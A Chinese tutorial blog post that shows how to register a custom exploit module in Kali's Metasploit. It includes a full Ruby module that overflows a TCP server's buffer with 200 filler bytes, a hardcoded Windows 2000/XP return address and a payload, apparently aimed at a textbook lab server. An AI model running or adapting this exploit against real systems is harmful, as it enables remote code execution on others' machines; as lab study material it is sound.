给kali的metasploit下添加一个新的exploit

首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹,例如fwdtest

 

cp example.rb ./fwdtest/0day1.rb

根据0day安全书中例子修改0day1.rb脚本

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'failwest_test',
        'Description'    => %q(
            This exploit module illustrates how a vulnerability could be exploited
          in an TCP server that has a parsing bug.
        ),
		'License'        => MSF_LICENSE,
		'Author'         => ['skape'],
		'References'     =>
          [
            [ 'OSVDB', '12345' ],
            [ 'EDB', '12345' ],
            [ 'URL', 'http://www.example.com'],
            [ 'CVE', '1978-1234']
          ],
        'Payload'        =>
          {
            'Space'    => 200,
            'BadChars' => "\x00"
          },
        'Targets'        =>
          [
            [
              'Windows 2000',
              {
                'Platform' => 'win',
                'Ret'      => 0x77F8511a
              }
            ],
			[
              'Windows XP SP2',
              {
                'Platform' => 'win',
                'Ret'      => 0x7C914393
              }
            ]
          ],
		'DisclosureDate' => "Apr 1 2013",
		'DefaultTarget'  => 0
      )
    )
  end

  def check
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    connect
	attack_buf = 'a'*200 + [target['Ret']].pack('V') + payload.encoded
	sock.put(attack_buf)
	handler
	disconnect
  end
end

 

在控制台下启动metasploit

 

在msf提示符下输入reload_all重新加载所有模块

 

在msf提示符下输入use exploit/fwdtest/0day1  输入的时候可以用tab补全,如果不能补全说明就有问题

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值